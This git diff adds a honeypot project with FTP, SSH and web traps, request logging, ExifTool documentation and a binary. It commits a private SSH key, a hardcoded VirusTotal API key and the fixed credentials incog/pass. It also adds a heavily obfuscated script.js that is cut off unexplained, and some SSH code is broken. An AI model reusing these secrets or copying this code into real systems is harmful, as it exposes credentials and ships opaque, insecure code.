moved. + +=item exiftool '-filename<%f_${model;}.%e' dir + +Rename all files in C<dir> by adding the camera model name to the file name. +The semicolon after the tag name inside the braces causes characters which +are invalid in Windows file names to be deleted from the tag value (see the +L</Advanced formatting feature> for an explanation). + +=item exiftool '-FileName<CreateDate' -d %Y%m%d_%H%M%S%%-c.%%e dir + +Rename all images in C<dir> according to the C<CreateDate> date and time, +adding a copy number with leading '-' if the file already exists (C<%-c>), +and preserving the original file extension (C<%e>). Note the extra '%' +necessary to escape the filename codes (C<%c> and C<%e>) in the date format +string. + +=item exiftool -r '-FileName<CreateDate' -d %Y-%m-%d/%H%M_%%f.%%e dir + +Both the directory and the filename may be changed together via the +C<FileName> tag if the new C<FileName> contains a '/'. The example above +recursively renames all images in a directory by adding a C<CreateDate> +timestamp to the start of the filename, then moves them into new directories +named by date. + +=item exiftool '-FileName<${CreateDate}_$filenumber.jpg' -d %Y%m%d -ext jpg . + +Set the filename of all JPG images in the current directory from the +CreateDate and FileNumber tags, in the form "20060507_118-1861.jpg". + +=back + +=head1 GEOTAGGING EXAMPLES + +ExifTool implements geotagging from GPS log files via 3 special tags: Geotag +(which for convenience is also implemented as an exiftool option), Geosync +and Geotime. The examples below highlight some geotagging features. See +L<https://exiftool.org/geotag.html> for additional documentation. (Note +that geotagging from known GPS coordinates is done by writing the +L<GPS tags|Image::ExifTool::TagNames/GPS Tags> directly rather than using +the B<-geotag> option.) + +=over 5 + +=item exiftool -geotag track.log a.jpg + +Geotag an image (C<a.jpg>) from position information in a GPS track log +(C<track.log>). Since the C<Geotime> tag is not specified, the value of +DateTimeOriginal is used for geotagging. Local system time is assumed +unless DateTimeOriginal contains a timezone. + +=item exiftool -geotag track.log -geolocate=geotag a.jpg + +Geotag an image and also write geolocation information of the nearest city +(city name, state/province and country). Read here for more details about +the Geolocation feature: L<https://exiftool.org/geolocation.html#Write> + +=item exiftool -geotag t.log -geotime='2009:04:02 13:41:12-05:00' a.jpg + +Geotag an image with the GPS position for a specific time. + +=item exiftool -geotag log.gpx '-xmp:geotimeE<lt>createdate' dir + +Geotag all images in directory C<dir> with XMP tags instead of EXIF tags, +based on the image CreateDate. + +=item exiftool -geotag a.log -geosync=-20 dir + +Geotag images in directory C<dir>, accounting for image timestamps which +were 20 seconds ahead of GPS. + +=item exiftool -geotag a.log -geosync=1.jpg -geosync=2.jpg dir + +Geotag images using time synchronization from two previously geotagged images +(1.jpg and 2.jpg), synchronizing the image and GPS times using a linear time +drift correction. + +=item exiftool -geotag a.log '-geotimeE<lt>${createdate}+01:00' dir + +Geotag images in C<dir> using CreateDate with the specified timezone. If +CreateDate already contained a timezone, then the timezone specified on the +command line is ignored. + +=item exiftool -geotag= a.jpg + +Delete GPS tags which may have been added by the geotag feature. Note that +this does not remove all GPS tags -- to do this instead use C<-gps:all=>. + +=item exiftool -xmp:geotag= a.jpg + +Delete XMP GPS tags which were added by the geotag feature. + +=item exiftool -xmp:geotag=track.log a.jpg + +Geotag an image with XMP tags, using the time from DateTimeOriginal. + +=item exiftool -geotag a.log -geotag b.log -r dir + +Combine multiple track logs and geotag an entire directory tree of images. + +=item exiftool -geotag 'tracks/*.log' -r dir + +Read all track logs from the C<tracks> directory. + +=item exiftool -p gpx.fmt dir > out.gpx + +Generate a GPX track log from all images in directory C<dir>. This example +uses the C<gpx.fmt> file included in the full ExifTool distribution package +and assumes that the images in C<dir> have all been previously geotagged. + +=back + +=head1 PIPING EXAMPLES + +=over 5 + +=item cat a.jpg | exiftool - + +Extract information from stdin. + +=item exiftool image.jpg -thumbnailimage -b | exiftool - + +Extract information from an embedded thumbnail image. + +=item cat a.jpg | exiftool -iptc:keywords+=fantastic - > b.jpg + +Add an IPTC keyword in a pipeline, saving output to a new file. + +=item curl -s http://a.domain.com/bigfile.jpg | exiftool -fast - + +Extract information from an image over the internet using the cURL utility. +The B<-fast> option prevents exiftool from scanning for trailer information, +so only the meta information header is transferred. + +=item exiftool a.jpg -thumbnailimage -b | exiftool -comment=wow - | +exiftool a.jpg -thumbnailimage'<=-' + +Add a comment to an embedded thumbnail image. (Why anyone would want to do +this I don't know, but I've included this as an example to illustrate the +flexibility of ExifTool.) + +=back + +=head1 INTERRUPTING EXIFTOOL + +Interrupting exiftool with a CTRL-C or SIGINT will not result in partially +written files or temporary files remaining on the hard disk. The exiftool +application traps SIGINT and defers it until the end of critical processes +if necessary, then does a proper cleanup before exiting. + +=head1 EXIT STATUS + +The exiftool application exits with a status of 0 on success, or 1 if an +error occurred, or 2 if all files failed the B<-if> condition (for any of +the commands if B<-execute> was used). + +=head1 AUTHOR + +Copyright 2003-2024, Phil Harvey + +This is free software; you can redistribute it and/or modify it under the +same terms as Perl itself. + +=head1 SEE ALSO + +L<Image::ExifTool(3pm)|Image::ExifTool>, +L<Image::ExifTool::TagNames(3pm)|Image::ExifTool::TagNames>, +L<Image::ExifTool::Shortcuts(3pm)|Image::ExifTool::Shortcuts>, +L<Image::ExifTool::Shift.pl|Image::ExifTool::Shift.pl> + +=cut + +#------------------------------------------------------------------------------ +# end diff --git a/honeypot/Honeypot_Project_final/exiftool(-k).exe b/honeypot/Honeypot_Project_final/exiftool(-k).exe new file mode 100644 index 0000000..41c8629 Binary files /dev/null and b/honeypot/Honeypot_Project_final/exiftool(-k).exe differ diff --git a/honeypot/Honeypot_Project_final/id_rsa b/honeypot/Honeypot_Project_final/id_rsa new file mode 100644 index 0000000..1cf8da4 --- /dev/null +++ b/honeypot/Honeypot_Project_final/id_rsa @@ -0,0 +1,27 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn +NhAAAAAwEAAQAAAQEA2XCLvtW3xu/zueoaHZcd/GQ2mgSjn5kF3KOm5E3xAk+bQ4Hp4vbu +wUW5hKBvDlC89mi4c5PptZMoANbTfCX6t/n+eS8vu4D4Uz7Ro1G6vIIcLGv5rzdsvQfsWl +ntJvW5ZILjPKrqdLxXx85XIk/VWiN5kwV6wAZOUA0YTGSBZ1wHMw1LnwlrK45pYD4+F0LW +ND2QyM75zsYW3/eFKis9eXTDgxmFS9Z+7g+G2wKQvDH5tZJbRTyJh4ScMYdhjOlhgva5bK +1DvjPiXyufIt3iMNnMIyoj0aT4NkiL5SsE1H/4qSZIME92RoCGIa6kaXd5MPh27ICNw+M2 +hbFcMH9RPQAAA9BJmITqSZiE6gAAAAdzc2gtcnNhAAABAQDZcIu+1bfG7/O56hodlx38ZD +aaBKOfmQXco6bkTfECT5tDgeni9u7BRbmEoG8OULz2aLhzk+m1kygA1tN8Jfq3+f55Ly+7 +gPhTPtGjUbq8ghwsa/mvN2y9B+xaWe0m9blkguM8qup0vFfHzlciT9VaI3mTBXrABk5QDR +hMZIFnXAczDUufCWsrjmlgPj4XQtY0PZDIzvnOxhbf94UqKz15dMODGYVL1n7uD4bbApC8 +Mfm1kltFPImHhJwxh2GM6WGC9rlsrUO+M+JfK58i3eIw2cwjKiPRpPg2SIvlKwTUf/ipJk +gwT3ZGgIYhrqRpd3kw+HbsgI3D4zaFsVwwf1E9AAAAAwEAAQAAAQBoXXy1vB7ZfZKeSZ7/ +VOkvm2oZwuBGWkxV+rbAHijv0wXTASghqCQw4CaLYfXsCRSpsNnXn8ctP9STkokvrYsJgx +SBVgSzGtQWILC+kxvuHwUmzSyqzQ+EK6lmNIN/j7HMbIZlOCQQo9X+MSvhbDAbc6uGxbqF +MIGmKqLfB96UnNSxCV5FFGlNx6TxioKA9yoDoqomIzlc4tQclwXVPiGYTvx5KnnwD933D7 +KtLPaMl4jsUmOY90DO7ypp0CIiWTNm0nxSnRRVsn2DdvNB0F7jqaR6FXr6DRWcmhJXd4MQ +q3/cVlIbQQxKcmrDOnsYsFnLAsK6lc+MLvyfalUlxnwBAAAAgQC6hBGMn+KqtehMjkPK4A +mIO6gsFTD4WCZdX/MfiSEZDxZAtYvKcDlFH82nHmn30+bupu8afRTme4yZLoDSuyw6O0vp +GJxL0v2BmszZqgCqOEX/5nej2uwdWXUqHyaHsolwczdmK8zAcYF5zxl9Cs47pWeaXATJbp +0JDfEeaZwU3wAAAIEA9RoKBc1+1VhnxI9DoN7xmK6BSpAv7/L5wv5q99ZYo5Z62tYkkC3K +7y0c4180HaAYlWk6eWfavUO0JXhCilL1QChCTft0Gesxpuap1RDyMwFTo9jBY89jq6gGJ9 +EObKnynqYMaciRSDtCrd76TjfBKtu8qwYwBepAcuOjRT4k/OkAAACBAOMbogJAEiaawr9v +dBIO9gBdRBrrKl8EdK+OYdKAUs5PcH6diPwxf1ZnP+gAXeotbuWy/WJsZgPyK6rdxepY+4 +FzqGoZQKjCi9eMZLJuFRYm3ErlrEorVkQkqJ4C1+LXniUU49fAZIgO5eh9x1yMghHzmfWW +8enBKuVfEZF6Ei01AAAAFWluY29nQExBUFRPUC1NMjVMS0dTNgECAwQF +-----END OPENSSH PRIVATE KEY----- diff --git a/honeypot/Honeypot_Project_final/main.py b/honeypot/Honeypot_Project_final/main.py new file mode 100644 index 0000000..8f2c1fc --- /dev/null +++ b/honeypot/Honeypot_Project_final/main.py @@ -0,0 +1,40 @@ +# This module is to run all honeypots from one script + +from .mydesign import * + +# To Avoid entering unwanted inputs + +def get_numeric_choice(): + while True: + user_choice = input("Choice >> ") + + # Check if numeric or not + if not user_choice.isdigit() or int(user_choice) >= 4: + print("Invalid Choice") + else: + return int(user_choice) + + +if __name__ == "__main__": + + green_text('-'*50) + print("1. Web Honeypot \n2. Network Honeypot") + green_text('-'*50) + + opt = get_numeric_choice() + + if opt == 1: + # Auto assign system ip + WebsiteTrap.app.run(host="0.0.0.0", port=80,threaded=True) + + elif opt == 2: + + print("1. FTP Honeypot \n2. SSH Honeypot") + + opt = get_numeric_choice() + + if opt == 1: + FtpHoneypot.run_ftp_server() + + elif opt == 2: + SSHhoneypot.start_ssh_server() diff --git a/honeypot/Honeypot_Project_final/mydesign.py b/honeypot/Honeypot_Project_final/mydesign.py new file mode 100644 index 0000000..af79e47 --- /dev/null +++ b/honeypot/Honeypot_Project_final/mydesign.py @@ -0,0 +1,252 @@ +# This module contains custom and organized functionalities for specific purposes. +# That is to design text, organized module to avoid re-import + +import json +import time, subprocess,platform +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer +from datetime import datetime +import socket +import paramiko +import sqlite3 +import requests +import os +from flask import Flask, make_response, render_template, request, redirect, session, url_for, g +from .web_honeypot import WebsiteTrap +from werkzeug.utils import secure_filename +from .net_honeypot import FtpHoneypot, SSHhoneypot + + +# ANSI escape codes for text colors +# To print respective messages +ERROR = '\033[91m' +SUCCESS = '\033[92m' +INFO = '\033[93m' +WHITE = '\033[97m' +BLUE = '\033[94m' +MAGENTA = '\033[95m' +CYAN = '\033[96m' +RESET = '\033[0m' + +# ANSI escape codes for text styles +# To style respective messages +BOLD = '\033[1m' +ITALIC = '\033[3m' +UNDERLINE = '\033[4m' +STRIKETHROUGH = '\033[9m' + +# Custom text designing functions + + +def color_style_text(color, text, style=''): + print((color + style + text + RESET)) + + +def red_text(text): + print((ERROR + text + RESET)) + + +def green_text(text): + print((SUCCESS + text + RESET)) + + +def yellow_text(text): + print(INFO + text + RESET) + + +# To track, set cookie and return page + +json_logs = { + "ip_addr": "", + "date": "", + "timestamp": "", + "user_id": "", + "user_agent": "", + "path_visited": "", + "session": "", +} + + +def track_and_response(request, page): + + # Path related code + + curr_path = request.path + # Read existing cookie or create a new one + visited_paths = request.cookies.get('visited_paths', '').split(',') + + # Check for duplicate path + if not curr_path in visited_paths: + # Append the current path to the list + visited_paths.append(curr_path) + + # Join the paths and set the cookie + updated_path = ','.join(visited_paths) + + json_logs["ip_addr"] = request.remote_addr + json_logs["date"] = datetime.now().strftime('%d/%m/%Y') + json_logs["timestamp"] = datetime.now().strftime('%H:%M:%S') + json_logs["user_agent"] = request.user_agent.string + json_logs["path_visited"] = updated_path + json_logs["session"] = request.cookies.get('session') + json_logs["new_account"] = session.get('new_account') + json_logs["user_id"] = session.get('user_id') + + response = make_response(render_template( + page, visited_paths=visited_paths)) + + # Setting cookie value + response.set_cookie('path_visited', updated_path) + + # Log of site access by + #f = open(f'{os.path.dirname(__file__)}\\var\\web_honeypot.log', 'a') + f = open(os.path.join(os.path.dirname(__file__), 'var', 'web_honeypot.log'), 'a') + json.dump(json_logs, f, ensure_ascii=False) + + f.write("\n") + f.close() + + return response + + +# For logging in a file + +#def log_capture(filepath, what_to_write): + #with open(filepath, "a") as log_file: + # log_file.write(what_to_write) + + +# SQL lite3 + +# Database: users.db +db_con = sqlite3.connect('users.db') +cursor = db_con.cursor() + +# Create new table 'users.db' if not there + +cursor.execute(""" + CREATE TABLE IF NOT EXISTS users + (id INTEGER PRIMARY KEY AUTOINCREMENT, + username VARCHAR(15) UNIQUE, + email VARCHAR(100), + password VARCHAR(20))""") + + +def get_db(): + if 'db' not in g: + g.db = sqlite3.connect('users.db') + return g.db + +# Searching in database + +def check_credentials(username, password): + db = get_db() + cursor = db.cursor() + + sql_select = """ + SELECT username, password FROM users + WHERE username = ? AND password = ?""" + + val_select = (username, password) + cursor.execute(sql_select, val_select) + user_data = cursor.fetchone() + cursor.close() + + return user_data + +# Inserting in database + +def insert_credentials(username, email, password): + db = get_db() + cursor = db.cursor() + + sql_insert = """INSERT INTO users + (username, email, password) + VALUES (?, ?, ?)""" + + val_insert = (username, email, password) + user_data = cursor.execute(sql_insert, val_insert) + db.commit() + cursor.close() + + return user_data + + +def file_analysis(filepath): + + if 'photo' in request.files: + + url = 'https://www.virustotal.com/vtapi/v2/file/scan' + + params = {'apikey': 'd4a04142db71e29bc4993c4a49c19609bdb3b4747d4c0ffa710a5ea17e836cc0'} + + files = {'file': open(filepath, 'rb')} + + response = requests.post(url, files=files, params=params) + file_url=f"https://www.virustotal.com/api/v3/files/{(response.json())['sha1']}" + headers = { + "accept": "application/json", + "x-apikey": "d4a04142db71e29bc4993c4a49c19609bdb3b4747d4c0ffa710a5ea17e836cc0", + "content-type": "multipart/form-data" + } + response=requests.get(file_url, headers=headers) + stats = response.json()['data']['attributes'] + print(stats) + # Log analysis stats + # f = open(f'{os.path.dirname(__file__)}\\var\\file_analysis.log', 'a') + f = open(os.path.join(os.path.dirname(__file__), 'var', 'file_analysis.log'), 'a') + json.dump(stats, f, ensure_ascii=False) + + f.write("\n") + f.close() + + +# To extract meta data from photo + +def meta_data_extract(image_path): + # Check the operating system + current_os = platform.system() + infoDict = {} + + # Set the path to the exiftool executable based on the operating system + if current_os == "Windows": + file_path = "exiftool(-k).exe" + elif current_os == "Linux": + file_path = "exiftool" + else: + print(f"Unsupported operating system: {current_os}") + return + file_path = os.path.join(os.path.dirname(__file__),file_path) + + + + try: + # Execute the exiftool command + process = subprocess.Popen([file_path, image_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) + + # Wait for the process to finish and collect output + output, _ = process.communicate() + + # Parse the output to populate the metadata dictionary + for tag in output.splitlines(): + line = tag.strip().split(':', 1) + if len(line) == 2: + infoDict[line[0].strip()] = line[1].strip() + + # Ensure the log directory exists + log_dir = os.path.join(os.path.dirname(__file__), 'var') + os.makedirs(log_dir, exist_ok=True) + + # Log the metadata + log_path = os.path.join(log_dir, 'photo_metadata.log') + with open(log_path, 'a') as f: + json.dump(infoDict, f, ensure_ascii=False) + f.write("\n") + + print("Metadata extraction and logging completed successfully.") + + except subprocess.CalledProcessError as e: + print(f"Failed to execute {file_path}: {e}") + except Exception as e: + print(f"An error occurred: {e}") diff --git a/honeypot/Honeypot_Project_final/net_honeypot.py b/honeypot/Honeypot_Project_final/net_honeypot.py new file mode 100644 index 0000000..e3ad30b --- /dev/null +++ b/honeypot/Honeypot_Project_final/net_honeypot.py @@ -0,0 +1,227 @@ +from .mydesign import * +from . import mydesign + +# FTP Honeypot +# This class represents an FTP honeypot +# for detecting and logging FTP connection attempts. + +server=None +ssh_server=None +class FtpHoneypot(FTPHandler): + + def on_connect(self): + # Log connection attempt + log_entry = { + "ip_address": self.remote_ip, + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "message": "Connection established" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_login(self, username): + # Log login attempt + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "username": username, + "message": "Login attempt" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + + def on_login_failed(self, username): + # Log failed login attempt + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "username": username, + "message": "Failed login attempt" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_logout(self, username): + # Log logout + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "username": username, + "message": "Logout" + } + + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_version(self, version): + # Log version information + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "version": version, + "message": "Version information" + } + + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_auth(self, username): + # Log authentication + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "username": username, + "message": "Authentication successful" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_auth_failed(self, username): + # Log failed authentication + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "username": username, + "message": "Authentication failed" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def on_disconnect(self): + # Log disconnection + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "ip_address": self.remote_ip, + "message": "Connection closed" + } + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + def run_ftp_server(): + global server + authorizer = DummyAuthorizer() + # Add an anonymous user with no permissions + + filepath = os.path.join(os.path.dirname(__file__), 'home') + + authorizer.add_anonymous(filepath, perm="") + authorizer.add_user(username="incog", password="pass", + homedir=filepath, perm="elradfm") + + handler = FtpHoneypot + handler.authorizer = authorizer + + server = FTPServer(("0.0.0.0", 21), handler) + server.serve_forever() + # server.close_all + def stop_ftp_server(): + global server + print("Stopping FTP server...") + # if server: + server.close_all() + print("FTP server stopped") + + +# SSH Honeypot +# This class represents an SSH honeypot +# for detecting and logging SSH connection attempts. + +class SSHhoneypot(paramiko.ServerInterface): + + def check_channel_request(self, kind, chanid): + if kind == "session": + return paramiko.OPEN_SUCCEEDED + return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED + + def check_channel_pty_request(self, channel, term, width, height, pixelwidth, pixelheight, modes): + return True + + def check_channel_shell_request(self, channel): + return True + + def check_auth_password(self, username, password): + if username == "incog" and password == "pass": + return paramiko.AUTH_SUCCESSFUL + else: + return paramiko.AUTH_FAILED + + def log_event(self, message): + log_entry = { + "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + "message": message + } + + f = open(os.path.join(os.path.dirname(__file__), 'var', 'net_honeypot.log'), 'a') + json.dump(log_entry, f, ensure_ascii=False) + + f.write("\n") + f.close() + + def start_ssh_server(): + global ssh_server + ssh_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ssh_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + ssh_server.bind(('127.0.0.1', 22)) + ssh_server.listen(5) + print("SSH server listening on port 22") + + while True: + client, addr = ssh_server.accept() + print(f"Connection from {addr}") + + transport = paramiko.Transport(client) + server_key = paramiko.RSAKey.from_private_key_file(filename=os.path.join(os.path.dirname(__file__), 'id_rsa'), password="pass") + transport.add_server_key(server_key) + + # Disable strict host key checking + transport.setDaemon(1) + + ssh = SSHhoneypot() + transport.start_server(server=ssh) + + channel = transport.accept(20) + if channel is None: + print("SSH negotiation failed.") + client.close() + continue + + print("Authenticated!") + + # Set event handlers + if channel.recv_ready(): + channel.set_combine_stderr(True) + channel.setblocking(0) + channel.recv_ready().register(ssh.on_output_ready) + + try: + while True: + if channel.recv_ready(): + command = channel.recv(1024).decode('utf-8').strip() + # Log the command + ssh.log_event(f"Executed command: {command}") + except Exception as e: + print(f"Error executing command: {e}") + finally: + channel.close() + client.close() + def stop_ssh_server(): + global ssh_server + ssh_server.close() diff --git a/honeypot/Honeypot_Project_final/requirements.txt b/honeypot/Honeypot_Project_final/requirements.txt new file mode 100644 index 0000000..f4a79c6 Binary files /dev/null and b/honeypot/Honeypot_Project_final/requirements.txt differ diff --git a/honeypot/Honeypot_Project_final/static/css/style.css b/honeypot/Honeypot_Project_final/static/css/style.css new file mode 100644 index 0000000..9994856 --- /dev/null +++ b/honeypot/Honeypot_Project_final/static/css/style.css @@ -0,0 +1,394 @@ +/* Importing fonts from Google */ +@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap'); + +/* Reseting */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + + +.wrapper { + max-width: 350px; + min-height: 500px; + margin: 80px auto; + padding: 40px 30px 30px 30px; + background-color: #ecf0f3; + border-radius: 15px; + box-shadow: 13px 13px 20px #cbced1, -13px -13px 20px #fff; +} + +.logo { + width: 80px; + margin: auto; +} + +.logo img { + width: 100%; + height: 80px; + object-fit: cover; + border-radius: 50%; + box-shadow: 0px 0px 3px #5f5f5f, + 0px 0px 0px 5px #ecf0f3, + 8px 8px 15px #a7aaa7, + -8px -8px 15px #fff; +} + +.wrapper .name { + font-weight: 600; + font-size: 1.4rem; + letter-spacing: 1.3px; + padding-left: 10px; + color: #03A9F4; +} + +.wrapper .form-field input { + width: 80%; + display: block; + border: none; + outline: none; + background: none; + font-size: 1.2rem; + color: #666; + padding: 10px 15px 10px 10px; + /* border: 1px solid red; */ +} + +.wrapper .form-field { + padding-left: 10px; + margin-bottom: 20px; + border-radius: 20px; + box-shadow: inset 8px 8px 8px #cbced1, inset -8px -8px 8px #fff; +} + +.wrapper .form-field .fas { + color: #555; +} + +.wrapper .btn { + box-shadow: none; + width: 100%; + height: 40px; + background-color: #03A9F4; + color: #fff; + border-radius: 25px; + box-shadow: 3px 3px 3px #b1b1b1, + -3px -3px 3px #fff; + letter-spacing: 1.3px; +} + +.wrapper .btn:hover { + background-color: #039BE5; +} + +.wrapper a { + text-decoration: none; + font-size: 0.8rem; + color: #03A9F4; +} + +.wrapper a:hover { + color: #039BE5; +} + +@media(max-width: 380px) { + .wrapper { + margin: 30px 20px; + padding: 40px 15px 15px 15px; + } +} + +.navbar { + background-color: #5447b9 !important; + position: absolute; + top: 0; + width: 100%; + z-index: 10; +} + +.navbar-brand, +.navbar-nav .nav-link { + color: #fff !important; + font-weight: bold; +} + +.navbar-brand:hover, +.navbar-nav .nav-link:hover { + color: #ffc107 !important; +} + +.jumbotron { + background-color: #2c1f8a; + color: #fff; + padding: 100px 0; + margin-bottom: 0; +} + +.jumbotron h1 { + font-size: 3.5rem; + font-weight: bold; +} + +.jumbotron p { + font-size: 1.2rem; +} + +.features-section { + background-color: #fff; + padding: 100px 0; +} + +.feature { + text-align: center; + margin-bottom: 30px; +} + +.feature i { + font-size: 3rem; + margin-bottom: 20px; + color: #ffc107; +} + +.feature h3 { + font-size: 1.5rem; + font-weight: bold; +} + +.feature p { + font-size: 1rem; +} + +.hero { + background-image: url('https://source.unsplash.com/random/1600x900/?cybersecurity,technology'); + background-size: cover; + background-position: center; + height: 100vh; + display: flex; + justify-content: center; + align-items: center; + opacity: 0.8; +} + +.hero h1 { + font-size: 3rem; + color: #fff; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5); +} + +.hero p { + font-size: 1.5rem; + color: #fff; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5); +} + +#carouselExampleIndicators { + background-color: rgba(74, 62, 212, 0.368); + height: 500px; + width: 100%; +} + +.carousel-inner img { + width: 100%; + height: 500px; + object-fit: cover; + margin: 0 auto; +} + +.carousel-control-prev-icon, +.carousel-control-next-icon { + background-color: #fff; + border-radius: 50%; + width: 3rem; + height: 3rem; +} + +.carousel-control-prev, +.carousel-control-next { + top: 50%; + transform: translateY(-50%); +} + +.button-3 { + transition: 772ms; + border-radius: 8px; + box-shadow: rgba(0, 0, 0, 0.25) 0 3px 8px; + display: inline-block; + cursor: pointer; + padding: 10px 30px; + background: linear-gradient(92.88deg, #455EB5 9.16%, + #5643CC 43.89%, #673FD7 64.72%); + color: #fff; + border: none; +} + +.button-3:hover { + background: linear-gradient(92.88deg, #5643CC 9.16%, #673FD7 43.89%, #455EB5 64.72%); +} + +.footer { + background-color: #5447b9; + color: #fff; + padding: 60px 0; +} + +.footer p { + font-size: 1.2rem; +} + +.footer h3 { + font-size: 1.5rem; + font-weight: bold; + margin-bottom: 20px; +} + +.footer a { + color: #fff; + text-decoration: none; + margin-right: 20px; +} + + +/* Styles for the pop-up */ +.popup-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.5); + display: flex; + justify-content: center; + align-items: center; + z-index: 9999; +} + +.popup { + background-color: #fff; + padding: 20px; + border: 1px solid #ccc; + box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); +} + +h1, +a { + margin: 0; + padding: 0; + text-decoration: none; +} + +.section { + padding: 4rem 2rem; + display: flex; + flex-direction: column; + align-items: center; +} + +.section .error { + font-size: 150px; + color: #008b62; + +} + +.section .error img { + width: 600px; + height: 400px; + align-items: center; + animation: pulse 1s infinite ease-in-out alternate; +} + +@keyframes pulse { + from { + transform: scale(0.8); + } + + to { + transform: scale(1.2); + } +} + +.page { + margin: 2rem 0; + margin-bottom: 4rem; + font-size: 20px; + font-weight: 600; + color: #444; +} + +/* Arvind */ +.dropbtn { + background-color: #5c4caf; + color: rgb(255, 255, 255); + padding: 10px; + font-size: 15px; + border: none; + cursor: pointer; +} + +.dropdown-content { + display: none; + position: absolute; + background-color: #67a8bd; + min-width: 160px; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + z-index: 1; +} + +.dropdown-content a { + color: rgb(1, 0, 0); + padding: 12px 16px; + text-decoration: none; + display: block; +} +.btn{ + background-color: #0a0a0a; + color: rgb(12, 220, 243); + padding: 10px; + font-size: 15px; + margin-top: 21px; + border-radius: 15px 50px 30px; + padding: 8px; + cursor: pointer; +} + /* Arvind */ +.back-home { + display: inline-block; + background-image: linear-gradient(144deg, #c583f3, #6253c4 60%, #28d1dd); + border: 2px solid #181a18; + color: white; + text-transform: uppercase; + font-size: 18; + font-weight: 860; + letter-spacing: 1.5px; + padding: 0.75rem 1rem 0.6rem; + border-radius: 5px; + transition: transform 250ms; + box-shadow: 0 3px 8px rgba(0, 0, 0, 0.3); +} + +.back-home:hover { + color: #f4f2f2fb; + transform: translateY(-10px); + animation: pulse512 1.5s infinite; +} + +.dropdown-content a:hover {background-color: #254a95} + +.dropdown:hover .dropdown-content {display: block;} + +.dropdown:hover .dropbtn {background-color: #368091;} + +@keyframes pulse512 { + 0% { + box-shadow: 0px 0px 0px 10px #47b2e366; + } + + 70% { + box-shadow: 0px 0px 0px 15px rgb(218 103 68 / 0%); + } + + 100% { + box-shadow: 0px 0px 0px 0px rgb(218 103 68 / 0%); + } +} \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/static/image/404.jpg b/honeypot/Honeypot_Project_final/static/image/404.jpg new file mode 100644 index 0000000..4de21cd Binary files /dev/null and b/honeypot/Honeypot_Project_final/static/image/404.jpg differ diff --git a/honeypot/Honeypot_Project_final/static/js/script.js b/honeypot/Honeypot_Project_final/static/js/script.js new file mode 100644 index 0000000..0b826ed --- /dev/null +++ b/honeypot/Honeypot_Project_final/static/js/script.js @@ -0,0 +1 @@ +(function (_0x55bc8b, _0x56885b) { const _0x3c93bb = _0x55bc8b(); function _0x287c7f(_0x210ee8, _0x404716, _0x394ab1, _0x4b2fe6, _0x5b512c) { return _0x4dfc(_0x5b512c - 0x244, _0x404716); } function _0x38ff43(_0x3f92a8, _0x45ac41, _0x28ba8c, _0x4bcf22, _0x5b6a9a) { return _0x4dfc(_0x45ac41 - 0x313, _0x3f92a8); } function _0x24a875(_0x48bf2c, _0x474447, _0x3a1673, _0x5cb57b, _0x3f3c69) { return _0x4dfc(_0x474447 - -0x11b, _0x3a1673); } function _0x4fe77b(_0x1b524c, _0x5eb589, _0x83ea6e, _0xa26129, _0xeb07de) { return _0x4dfc(_0xeb07de - 0x27b, _0xa26129); } function _0x5f4084(_0x3e6b68, _0x29ebb6, _0x2cfdbc, _0x1f141c, _0x412747) { return _0x4dfc(_0x3e6b68 - 0x21f, _0x412747); } while (!![]) { try { const _0x4f6145 = parseInt(_0x5f4084(0x412, 0x3aa, 0x35a, 0x3fa, 0x387)) / (-0x77 * -0x4b + -0x1da4 